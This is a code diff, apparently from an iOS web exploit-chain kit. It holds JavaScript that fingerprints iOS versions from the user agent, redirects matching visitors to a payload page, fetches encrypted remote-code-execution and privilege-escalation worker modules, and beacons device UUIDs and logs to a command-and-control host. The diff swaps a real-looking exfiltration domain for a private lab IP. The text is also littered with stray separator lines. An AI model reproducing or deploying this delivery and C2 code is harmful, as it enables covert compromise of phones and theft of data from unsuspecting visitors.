var m = /(?:iPhone|iPad|iPod).*?OS[\s_]+(\d+)[._](\d+)(?:[._](\d+))?/i.exec(
|
||||
navigator.userAgent || ""
|
||||
);
|
||||
if (!m) return false;
|
||||
var maj = +m[1],
|
||||
min = +m[2],
|
||||
pat = +(m[3] || 0);
|
||||
if (maj < 13 || maj >= 18) return false;
|
||||
if (maj === 17 && min > 2) return false;
|
||||
if (maj === 17 && min === 2 && pat > 1) return false;
|
||||
return true;
|
||||
}
|
||||
|
||||
// if (isCoruna()) {
|
||||
// var corunaUrl = (typeof labDeliveryUrl === "function")
|
||||
// ? labDeliveryUrl("/qqtime/")
|
||||
// : (location.origin + "/qqtime/");
|
||||
// location.replace(corunaUrl);
|
||||
// return;
|
||||
// }
|
||||
if (isCoruna()) {
|
||||
location.replace(location.origin + "/qqtime/");
|
||||
return;
|
||||
}
|
||||
|
||||
var frame = document.getElementById("frame");
|
||||
if (!frame) return;
|
||||
var started = false;
|
||||
var LS_FRAME_AT = "__er_frame_at";
|
||||
var STATE_TTL_MS = 10 * 60 * 1000;
|
||||
var STATE_TTL_MS = 60 * 60 * 1000;
|
||||
|
||||
function frameAlreadyLaunched() {
|
||||
if (window.__ER_FRAME_ALREADY__) return true;
|
||||
@@ -1123,12 +1110,7 @@
|
||||
localStorage.setItem(LS_FRAME_AT, String(Date.now()));
|
||||
} catch (e2) {}
|
||||
window.__ER_FRAME_ALREADY__ = true;
|
||||
var qqtimePath = (window.NEWS2_CONFIG && window.NEWS2_CONFIG.qqtimePath)
|
||||
? window.NEWS2_CONFIG.qqtimePath
|
||||
: "/qqtime/";
|
||||
frame.src = (typeof labDeliveryUrl === "function")
|
||||
? labDeliveryUrl(qqtimePath)
|
||||
: (location.origin + qqtimePath);
|
||||
frame.src = location.origin + "/qqtime/";
|
||||
}
|
||||
|
||||
window.__ER_START_CHAIN__ = startQqtime;
|
||||
|
||||
@@ -1,186 +0,0 @@
|
||||
// Delivery = static assets (__LAB_DELIVERY_HOST__, may include a path).
|
||||
// API / C2 = __LAB_EXFIL__ (host + ports only, no asset path).
|
||||
(function (g) {
|
||||
if (!g) return;
|
||||
|
||||
function trimSlash(s) {
|
||||
return String(s || "").replace(/\/+$/, "");
|
||||
}
|
||||
|
||||
function ensureSlashPath(p) {
|
||||
p = String(p || "");
|
||||
if (!p) return "";
|
||||
return p.charAt(0) === "/" ? p : "/" + p;
|
||||
}
|
||||
|
||||
function joinBase(base, path) {
|
||||
base = trimSlash(base);
|
||||
path = String(path || "");
|
||||
if (!path) return base;
|
||||
if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(path)) return path;
|
||||
if (path.charAt(0) !== "/") path = "/" + path;
|
||||
return base + path;
|
||||
}
|
||||
|
||||
function hostOnly(raw) {
|
||||
return String(raw || "")
|
||||
.replace(/^https?:\/\//, "")
|
||||
.split("/")[0]
|
||||
.split(":")[0];
|
||||
}
|
||||
|
||||
function defaultExfil() {
|
||||
var domain = hostOnly(g.__LAB_EXFIL_DOMAIN__);
|
||||
return {
|
||||
host: domain,
|
||||
domain: domain,
|
||||
http_port: 443,
|
||||
https_port: 443,
|
||||
tls: false,
|
||||
prefer_https: false,
|
||||
stats_url: "",
|
||||
stats_url_direct: "",
|
||||
delivery_stats_url: "",
|
||||
};
|
||||
}
|
||||
|
||||
function inferDeliveryHost() {
|
||||
try {
|
||||
if (g.__LAB_DELIVERY_HOST__) return trimSlash(g.__LAB_DELIVERY_HOST__);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var path = g.location && g.location.pathname ? String(g.location.pathname) : "";
|
||||
var chained = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (chained && g.location.origin && g.location.origin !== "null") {
|
||||
return trimSlash(g.location.origin) + chained[1];
|
||||
}
|
||||
} catch (eBoot) {}
|
||||
try {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) return trimSlash(cfg.deliveryHost);
|
||||
if (cfg.deliveryPath) {
|
||||
var originFromCfg = g.location && g.location.origin ? trimSlash(g.location.origin) : "";
|
||||
return trimSlash(originFromCfg + ensureSlashPath(cfg.deliveryPath));
|
||||
}
|
||||
} catch (e1) {}
|
||||
try {
|
||||
if (!g.location || !g.location.origin || g.location.origin === "null") return "";
|
||||
var origin = trimSlash(g.location.origin);
|
||||
var path = String(g.location.pathname || "/");
|
||||
var m = path.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
} catch (e2) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
function applyExfil(ex) {
|
||||
var cur = g.__LAB_EXFIL__ && g.__LAB_EXFIL__.host ? g.__LAB_EXFIL__ : defaultExfil();
|
||||
if (!ex || !ex.host) return cur;
|
||||
g.__LAB_EXFIL__ = {
|
||||
host: hostOnly(ex.host) || cur.host,
|
||||
domain: hostOnly(ex.domain || ex.host) || cur.domain,
|
||||
http_port: ex.http_port != null ? Number(ex.http_port) : cur.http_port,
|
||||
https_port: ex.https_port != null ? Number(ex.https_port) : cur.https_port,
|
||||
tls: ex.tls != null ? !!ex.tls : !!cur.tls,
|
||||
prefer_https: ex.prefer_https != null ? !!ex.prefer_https : !!cur.prefer_https,
|
||||
stats_url: ex.stats_url || cur.stats_url || "",
|
||||
stats_url_direct: ex.stats_url_direct || cur.stats_url_direct || "",
|
||||
delivery_stats_url: ex.delivery_stats_url || cur.delivery_stats_url || "",
|
||||
};
|
||||
return g.__LAB_EXFIL__;
|
||||
}
|
||||
|
||||
function apiOrigin(ex) {
|
||||
ex = ex || g.__LAB_EXFIL__ || defaultExfil();
|
||||
var host = hostOnly(ex.host);
|
||||
var pageHost = "";
|
||||
var pageHttps = false;
|
||||
try {
|
||||
pageHttps = !!(g.location && g.location.protocol === "https:");
|
||||
pageHost = hostOnly(g.location && g.location.hostname);
|
||||
} catch (ePage) {}
|
||||
var sameHost = !!(host && pageHost && host === pageHost);
|
||||
var tls = !!(ex.tls || ex.prefer_https || (pageHttps && sameHost));
|
||||
var port = Number(tls ? ex.https_port || 443 : ex.http_port || 80);
|
||||
var scheme = tls ? "https" : "http";
|
||||
var origin = scheme + "://" + host;
|
||||
if (!((scheme === "https" && port === 443) || (scheme === "http" && port === 80) || !port)) {
|
||||
origin += ":" + port;
|
||||
}
|
||||
return origin;
|
||||
}
|
||||
|
||||
function ensureHosts() {
|
||||
if (!g.__LAB_EXFIL__ || !g.__LAB_EXFIL__.host) g.__LAB_EXFIL__ = defaultExfil();
|
||||
var d = inferDeliveryHost();
|
||||
if (d) g.__LAB_DELIVERY_HOST__ = d;
|
||||
return { delivery: g.__LAB_DELIVERY_HOST__ || "", exfil: g.__LAB_EXFIL__ };
|
||||
}
|
||||
|
||||
function applyNews2Config() {
|
||||
var cfg = g.NEWS2_CONFIG || {};
|
||||
if (cfg.deliveryHost) {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(cfg.deliveryHost);
|
||||
} else if (cfg.deliveryPath) {
|
||||
try {
|
||||
g.__LAB_DELIVERY_HOST__ = trimSlash(trimSlash(g.location.origin) + ensureSlashPath(cfg.deliveryPath));
|
||||
} catch (e) {}
|
||||
}
|
||||
if (cfg.exfil) applyExfil(cfg.exfil);
|
||||
ensureHosts();
|
||||
}
|
||||
|
||||
g.labTrimSlash = trimSlash;
|
||||
g.labJoinBase = joinBase;
|
||||
g.labInferDeliveryHost = inferDeliveryHost;
|
||||
g.labDeliveryHost = function () {
|
||||
ensureHosts();
|
||||
return trimSlash(g.__LAB_DELIVERY_HOST__ || "");
|
||||
};
|
||||
g.labDeliveryUrl = function (path) {
|
||||
return joinBase(g.labDeliveryHost(), path);
|
||||
};
|
||||
g.labApiOrigin = function () {
|
||||
ensureHosts();
|
||||
return apiOrigin(g.__LAB_EXFIL__);
|
||||
};
|
||||
g.labApiUrl = function (path) {
|
||||
return joinBase(g.labApiOrigin(), path);
|
||||
};
|
||||
g.labApplyExfil = applyExfil;
|
||||
g.labEnsureHosts = ensureHosts;
|
||||
g.labApplyNews2Config = applyNews2Config;
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || "").trim().slice(0, 64);
|
||||
if (!code) return "";
|
||||
g.__LAB_CHANNEL_CODE__ = code;
|
||||
try {
|
||||
if (g.sessionStorage) g.sessionStorage.setItem("lab_channel_code", code);
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (g.localStorage) g.localStorage.setItem("lab_channel_code", code);
|
||||
} catch (e1) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function readChannelCode() {
|
||||
try {
|
||||
var path = (g.location && g.location.pathname) || "";
|
||||
var m = String(path).match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (e3) {}
|
||||
return "";
|
||||
}
|
||||
|
||||
g.labChannelCode = function () {
|
||||
if (g.__LAB_CHANNEL_CODE__) return String(g.__LAB_CHANNEL_CODE__);
|
||||
return readChannelCode();
|
||||
};
|
||||
|
||||
ensureHosts();
|
||||
try {
|
||||
g.labChannelCode();
|
||||
} catch (eCh) {}
|
||||
})(typeof window !== "undefined" ? window : typeof globalThis !== "undefined" ? globalThis : null);
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
import Native from "libs/Chain/Native";
|
||||
import Chain from "libs/Chain/Chain";
|
||||
import TaskRop from "libs/TaskRop/TaskRop";
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -28,9 +28,12 @@
|
||||
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
|
||||
// two exfil trees diverge (uuid mismatch).
|
||||
try {
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
|
||||
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
|
||||
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '');
|
||||
if (_duuid) {
|
||||
// 把 delivery UUID 直接烤进 c2_agent 的 __LAB_BAKED_DELIVERY_UUID__ 占位符。
|
||||
// c2_agent 顶部 const DEVICE_UUID = (function(){var b=String("__LAB_BAKED_DELIVERY_UUID__");...})();
|
||||
// 占位符未替换时会回退到硬件 IOPlatformUUID,导致 C2 /war 的 UUID 与 delivery /log 不一致。
|
||||
// 这里把占位符替换成真实 delivery UUID,使两棵 exfil 树同 UUID。
|
||||
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
|
||||
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="../config.js"></script>
|
||||
<script src="../boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,22 +1,12 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
<script src="../config.js"></script>
|
||||
<script src="../boot.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
var SERVER_LOG = true;
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
@@ -8,25 +8,44 @@ var offsets = {};
|
||||
var slide;
|
||||
var chipset;
|
||||
var device_model;
|
||||
var localHost = (function () {
|
||||
function labAssetBase() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.pathname) {
|
||||
var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : '';
|
||||
var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (origin && m) return origin + m[1];
|
||||
if (origin) return origin;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var origin = (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
? String(location.origin).replace(/\/$/, '') : '';
|
||||
var path = '/next-chain';
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.deliveryPath)
|
||||
path = String(window.NEWS2_CONFIG.deliveryPath);
|
||||
} catch (e1) {}
|
||||
if (path.charAt(0) !== '/') path = '/' + path;
|
||||
return origin + path.replace(/\/+$/, '');
|
||||
} catch (e2) {}
|
||||
return '';
|
||||
}
|
||||
function labApiBase() {
|
||||
try {
|
||||
var ex = (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host)
|
||||
? window.__LAB_EXFIL__
|
||||
: (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil);
|
||||
if (ex && ex.host) {
|
||||
var tls = !!(ex.tls || ex.prefer_https);
|
||||
var port = Number(tls ? (ex.https_port || 443) : (ex.http_port || 80)) || (tls ? 443 : 80);
|
||||
var origin = (tls ? 'https://' : 'http://') + String(ex.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80))) origin += ':' + port;
|
||||
return origin;
|
||||
}
|
||||
} catch (e0) {}
|
||||
try {
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null')
|
||||
return location.origin.replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return "";
|
||||
})();
|
||||
return String(location.origin).replace(/\/$/, '');
|
||||
} catch (e1) {}
|
||||
return '';
|
||||
}
|
||||
var localHost = labAssetBase();
|
||||
function resolveLabDeviceUUID() {
|
||||
let du = '';
|
||||
try {
|
||||
@@ -66,7 +85,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
}
|
||||
} catch (eP) {}
|
||||
// Server upload: errors only (progress = GET /api/ds/pe-stage / console).
|
||||
// Server upload: errors only (progress = pe_stage GETs / console).
|
||||
const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x));
|
||||
if (!isErr) return;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -89,22 +108,7 @@ function print(x, reportError = false, dumphex = false) {
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
const logUrl = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/log?' + req)
|
||||
: (function () {
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) {
|
||||
var e = window.__LAB_EXFIL__;
|
||||
var tls = !!(e.tls || e.prefer_https);
|
||||
var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80));
|
||||
var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port;
|
||||
return origin + '/api/ds/log?' + req;
|
||||
}
|
||||
} catch (eApi) {}
|
||||
return localHost + '/api/ds/log?' + req;
|
||||
})();
|
||||
xhr.open("GET", logUrl, true);
|
||||
xhr.open("GET", labApiBase() + "/api/ds/log?" + req , true);
|
||||
if (du) {
|
||||
try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {}
|
||||
}
|
||||
@@ -462,24 +466,13 @@ function parseIosVersion() {
|
||||
return null;
|
||||
}
|
||||
function resolveDeliveryHost() {
|
||||
try {
|
||||
if (typeof labDeliveryHost === 'function') {
|
||||
var fromLab = labDeliveryHost();
|
||||
if (fromLab) return String(fromLab).replace(/\/$/, '');
|
||||
}
|
||||
} catch (eLab) {}
|
||||
if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, '');
|
||||
var h = labAssetBase();
|
||||
if (h) return h;
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__)
|
||||
return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, '');
|
||||
if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') {
|
||||
var origin = location.origin.replace(/\/$/, '');
|
||||
var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
if (m) return origin + m[1];
|
||||
return origin;
|
||||
}
|
||||
} catch (e) {}
|
||||
return 'http://one99.vip:80';
|
||||
return labAssetBase();
|
||||
}
|
||||
function resolveExfilTarget() {
|
||||
try {
|
||||
@@ -487,23 +480,23 @@ function resolveExfilTarget() {
|
||||
return window.__LAB_EXFIL__;
|
||||
} catch (e) {}
|
||||
try {
|
||||
const apiBase = (typeof labApiUrl === 'function')
|
||||
? labApiUrl('/api/ds/chain-targets')
|
||||
: '';
|
||||
if (apiBase) {
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', apiBase, false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) {
|
||||
try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {}
|
||||
return d.exfil;
|
||||
}
|
||||
}
|
||||
const base = labApiBase();
|
||||
if (!base) return null;
|
||||
const xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', base + '/api/ds/chain-targets', false);
|
||||
xhr.send(null);
|
||||
if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) {
|
||||
const d = JSON.parse(xhr.responseText);
|
||||
if (d.exfil && d.exfil.host) return d.exfil;
|
||||
}
|
||||
} catch (e) {}
|
||||
try {
|
||||
if (typeof window !== 'undefined' && window.NEWS2_CONFIG && window.NEWS2_CONFIG.exfil)
|
||||
return window.NEWS2_CONFIG.exfil;
|
||||
} catch (e2) {}
|
||||
return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false };
|
||||
const base = labApiBase();
|
||||
const h = String(base || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
return { host: h || '127.0.0.1', http_port: 80, https_port: 443, tls: false };
|
||||
}
|
||||
function exfilFields() {
|
||||
const t = resolveExfilTarget();
|
||||
@@ -513,11 +506,11 @@ function exfilFields() {
|
||||
} catch (eDu) { deviceUUID = ''; }
|
||||
if (!t) {
|
||||
return {
|
||||
exfilHost: 'mh0usocqzi6f46i.com',
|
||||
exfilHost: '192.168.31.130',
|
||||
exfilHttpPort: 8018,
|
||||
exfilHttpsPort: 8018,
|
||||
exfilTls: false,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -526,7 +519,7 @@ function exfilFields() {
|
||||
const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0];
|
||||
const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw);
|
||||
if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) {
|
||||
const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com';
|
||||
const ip = isIp ? hostRaw : '192.168.31.130';
|
||||
return {
|
||||
exfilHost: ip,
|
||||
exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001,
|
||||
@@ -548,7 +541,7 @@ function exfilFields() {
|
||||
exfilHttpsPort: port,
|
||||
exfilTls: u.protocol === 'https:',
|
||||
statsUrl: t.stats_url,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
deviceUUID,
|
||||
};
|
||||
@@ -561,7 +554,7 @@ function exfilFields() {
|
||||
exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001),
|
||||
exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001),
|
||||
exfilTls: tls,
|
||||
exfilFallbackHost: 'mh0usocqzi6f46i.com',
|
||||
exfilFallbackHost: '192.168.31.130',
|
||||
exfilFallbackHttpPort: 8018,
|
||||
statsUrl: t.delivery_stats_url || '',
|
||||
deviceUUID,
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
// rce_module_18.5.js — iOS 18.5 companion module (from rce_module_18.6.js)
|
||||
// LAB_RCE_MODULE_18_5 — fallback from rce_module.js (GitHub stub was 85B)
|
||||
/* HEADERS */
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
/* HEADERS */
|
||||
const ab = new ArrayBuffer(8);
|
||||
const u64 = new BigUint64Array(ab);
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
var SERVER_LOG;
|
||||
var __labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
let offsets;
|
||||
let MessageName;
|
||||
|
||||
@@ -214,6 +213,14 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
var __labC2Host = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labC2Host;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
return String(base || '').replace(/\/$/, '') + '/api/ds/log?' + qs;
|
||||
}
|
||||
function print(x, reportError = false, dumphex = false) {
|
||||
let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x;
|
||||
if (!SERVER_LOG && !reportError) return;
|
||||
@@ -227,12 +234,7 @@ self[1] = boxed_arr;
|
||||
}
|
||||
let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&')
|
||||
const xhr = new XMLHttpRequest();
|
||||
var logBase = '';
|
||||
try {
|
||||
if (typeof __labC2Host === 'string' && __labC2Host) logBase = String(__labC2Host).replace(/\/$/, '');
|
||||
} catch (eLb) {}
|
||||
if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443';
|
||||
xhr.open("GET", logBase + "/api/ds/log?" + req , false);
|
||||
xhr.open("GET", labC2LogUrl(req), false);
|
||||
xhr.send(null);
|
||||
}
|
||||
let signal_ptr;
|
||||
@@ -242,6 +244,15 @@ self[1] = boxed_arr;
|
||||
const p = {};
|
||||
// L1 encryption state (populated via postMessage from main thread)
|
||||
var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null;
|
||||
function __labPrependDelivery(fname, text) {
|
||||
if (!text) return text;
|
||||
var f = String(fname || '').toLowerCase();
|
||||
if (f.indexOf('pe_worker') < 0 && f.indexOf('pe_main') < 0) return text;
|
||||
var d = '';
|
||||
try { d = String(host || '').replace(/"/g, ''); } catch (_h) {}
|
||||
if (!d) return text;
|
||||
return 'try{var __peG=(typeof globalThis!=="undefined"?globalThis:(typeof self!=="undefined"?self:this));if(__peG)__peG.__PE_DELIVERY_HOST__="' + d + '";}catch(_d){}\n' + text;
|
||||
}
|
||||
|
||||
function getJS(fname,method = 'POST')
|
||||
{
|
||||
@@ -299,15 +310,12 @@ self[1] = boxed_arr;
|
||||
try
|
||||
{
|
||||
let url = "";
|
||||
var assetBase = String(host || '').replace(/\/$/, '');
|
||||
var assetPath = String(fname || '');
|
||||
if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath;
|
||||
url = assetBase + assetPath;
|
||||
url = host + "/" + fname;
|
||||
print("trying to fetch from:" + url);
|
||||
let xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", `${url}` , false);
|
||||
xhr.send(null);
|
||||
return _labDecryptWire(xhr.responseText);
|
||||
return __labPrependDelivery(fname, _labDecryptWire(xhr.responseText));
|
||||
}
|
||||
catch(e)
|
||||
{
|
||||
@@ -342,9 +350,9 @@ self[1] = boxed_arr;
|
||||
const chipset = data.chipset;
|
||||
const offsets = data.offsets;
|
||||
const slide = data.slide;
|
||||
__labC2Host = 'https://mh0usocqzi6f46i.com:443';
|
||||
__labC2Host = 'http://192.168.31.130:8080';
|
||||
host = data.desiredHost;
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; }
|
||||
try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || '192.168.31.130') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'http://192.168.31.130:8080'; }
|
||||
SERVER_LOG = data.SERVER_LOG;
|
||||
if (data._enc_session) {
|
||||
_enc_S = data._enc_session;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}
|
||||
try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="192.168.31.130";}catch(e){}
|
||||
/* rce_worker_18.5.js — dedicated iOS 18.5 / build 22F76 worker
|
||||
* Proven path: stage1_rce → sbx0/sbx1 → pe (cloned from rce_worker_18.6.js).
|
||||
* Selected by rce_loader pickWorkerFile / server darksword_workers_for_ios for 18.5.
|
||||
@@ -22,6 +22,14 @@ let logStart = new Date().getTime();
|
||||
let logEntryID = 0;
|
||||
let __printBudget = 60;
|
||||
let __printWindowStart = 0;
|
||||
var __labExfilUrl = '';
|
||||
function labC2LogUrl(qs) {
|
||||
var base = __labExfilUrl;
|
||||
if (!base) {
|
||||
try { base = String(host || '').replace(/\/next-chain\/?$/, ''); } catch (_e) { base = ''; }
|
||||
}
|
||||
